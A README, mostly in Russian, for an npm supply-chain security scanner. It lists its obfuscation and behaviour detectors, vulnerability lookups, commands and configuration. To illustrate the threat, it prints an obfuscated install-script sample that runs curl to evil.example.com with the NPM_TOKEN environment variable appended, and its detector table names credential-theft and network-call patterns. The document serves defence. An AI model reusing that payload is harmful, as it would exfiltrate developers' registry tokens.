
Статический анализ безопасности npm-пакетов. Обнаруживает обфусцированный код, вредоносные паттерны и известные уязвимости до установки.
npm ciНоль зависимостей. Только встроенные модули Node.js. < 100 кБ при передаче.
npx np-audit scan express
npm install -g np-audit
npa scan # scan all deps
npa install # audit then install
alias npm='npa' # use as drop-in replacement
Обнаружение разделено на модульные детекторы — каждый из них отвечает за один сигнал атаки:
| Marshaller | What it detects | Score |
|---|---|---|
eval/dynamic-exec | eval(), new Function(), непрямой eval, vm.*, setTimeout со строкой | 8 |
obfuscator.io | паттерны именования переменных _0x (результат работы obfuscator.io) | 9–80 |
high-entropy-string | длинные строки или цепочки конкатенации с высокой энтропией Шеннона | 6 |
hex-escape-density | плотные escape-последовательности \xNN и \uXXXX | 5–50 |
fromCharCode | String.fromCharCode со множеством аргументов, большие массивы десятичных кодов символов | 7 |
encoded-decode | Base64/hex-декодирование (atob, Buffer.from), опционально в сочетании с eval | 3–8 |
child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 |
hex-array | большое количество шестнадцатеричных литералов 0x | 7–60 |
process-env | доступ к process.env (признак кражи учётных данных) | 3 |
network-call | require('https'), fetch(), dns, net, tls | 4 |
filesystem-manipulation | fs.writeFile, chmod, symlink (персистентность бэкдора) | 3–4 |
runtime-download | загрузка и выполнение внешних рантаймов (Bun, Deno) | 9–50 |
Оценки масштабируются по серьёзности — большее количество индикаторов обфускации даёт более высокие оценки. Итоговый вердикт основывается на наивысшей индивидуальной оценке среди всех детекторов.
См. CONTRIBUTING.md о том, как писать собственные детекторы.
Каждый сканируемый пакет проверяется по известным базам уязвимостей наряду с анализом кода.
По умолчанию: OSV.dev (дополнительная настройка не требуется)
Работает из коробки — запрашивает бесплатный API OSV.dev для поиска известных уязвимостей и предупреждений о вредоносных пакетах.
Опционально: Snyk API (более полные данные)
# Environment variable
export SNYK_API_TOKEN=your-token-here
# Or via Snyk CLI
snyk auth
Порядок определения токена: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| Severity | Score | Verdict |
|---|---|---|
| Вредоносный пакет | 80 | DANGER |
| 10+ уязвимостей | 6 | WARN |
| 5–9 уязвимостей | 5 | WARN |
| 1–4 уязвимости | 4 | WARN |
Незлонамеренные CVE вызывают предупреждения, но никогда не блокируют установку. Только подтверждённые вредоносные пакеты приводят к DANGER.
| Command | Alias | Description |
|---|---|---|
npa install [package] | npa i | Провести аудит, затем выполнить npm install |
npa ci | — | Провести аудит, затем выполнить npm ci |
npa scan [package] | npa s | Только сканирование, без установки |
npa config get | npa c get | Показать текущую конфигурацию |
npa config set <key> <value> | npa c set | Обновить значение конфигурации |
npa alias --install | — | Установить псевдоним оболочки |
npa alias --uninstall | — | Удалить псевдоним оболочки |
Любая нераспознанная команда передаётся npm (например, npa run test, npa publish).
| Flag | Alias | Works with | Description |
|---|---|---|---|
--review | -r | install, ci | Интерактивный режим — выберите, какие скрипты разрешить |
--json | — | install, ci, scan | Вывод в машиночитаемом JSON |
--no-dev | — | install, ci, scan | Пропустить devDependencies |
--verbose | — | all | Показывать прогресс загрузки и дополнительные детали |
--version | -v | — | Вывести версию и выйти |
--help | -h | — | Вывести справку и выйти |
--reviewnpa install --review
npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] [email protected] postinstall: post-install.js OK
▶ [✗ deny ] [email protected] postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/[email protected] postinstall: install.js WARN (score: 5)
2 allowed 1 denied
Конфигурация хранится в ~/.npmauditor.json (глобально) и может быть переопределена для проекта с помощью .npmauditor.json.
npa config get # Show current config
npa config set blockScore 6 # Block at score 6+
npa config set skipPackages '["esbuild"]' # Trust specific packages
npa config set skipScopes '["@types"]' # Trust entire scopes
| Key | Default | Description |
|---|---|---|
blockScore | 7 | Порог оценки для DANGER (код выхода 1) |
warnScore | 4 | Порог оценки для WARN (код выхода 0) |
registry | https://registry.npmjs.org | URL npm-реестра |
timeout | 30000 | Таймаут HTTP-запроса (мс) |
parallelFetches | 5 | Одновременные загрузки |
skipScopes | [] | Префиксы @scope, которые нужно пропустить |
skipPackages | [] | Имена пакетов для пропуска |
silent | false | Не выводить данные, если проблемы не найдены |
scanSelf | true | Сканировать собственные жизненные скрипты проекта |
maxTarballSize | 50MB | Максимальный размер распакованного тарбола (защита от «бомб») |
checkVulnerabilities | true | Проверять пакеты по базам CVE |
deepResolve | false | Разрешать полное дерево транзитивных зависимостей |
disabledMarshallers | [] | Имена детекторов, которые нужно пропустить при сканировании |
Вы можете отключить отдельные проверки, добавив их имена в disabledMarshallers:
npa config set disabledMarshallers '["process-env", "network-call"]'
Чтобы увидеть все доступные имена детекторов и их текущий статус:
npa config marshallers
Это полезно, когда детектор даёт ложные срабатывания для вашего рабочего процесса. Отключённые детекторы полностью пропускаются как при статическом анализе кода, так и при проверках на уровне пакетов.
Используйте npa как прозрачную замену npm:
npa alias --install # adds: alias npm='npa'
source ~/.zshrc # reload shell
Теперь npm install и npm ci сканируются автоматически. Все остальные команды npm (npm run, npm test, npm publish) передаются без изменений.
npa alias --uninstall # remove the alias
package-lock.json (v1/v2/v3) или разрешение из package.jsonnode_modules)&&/||/;/|, обработка node -e, sh -c, шелл-скриптовrequire()/import от каждой точки входа (обнаружение циклов, лимит 50 файлов / 5 МБ)Атаки на цепочку поставок злоупотребляют жизненными скриптами npm. При выполнении npm install любой скрипт preinstall/install/postinstall запускается автоматически. Злоумышленники скрывают полезную нагрузку за обфускацией:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
Реальные инциденты:
npa никогда не выполняет скрипты. Он загружает и статически анализирует их.
| Code | Meaning |
|---|---|
0 | Всё чисто или только предупреждения |
1 | Один или несколько пакетов заблокировано |
MIT
vscode-autorun | задачи VS Code с runOn: folderOpen (автовыполнение) | 30 |
known-vulnerability | известные CVE через Snyk API или OSV.dev | 4–6 (WARN), 80 (вредоносный) |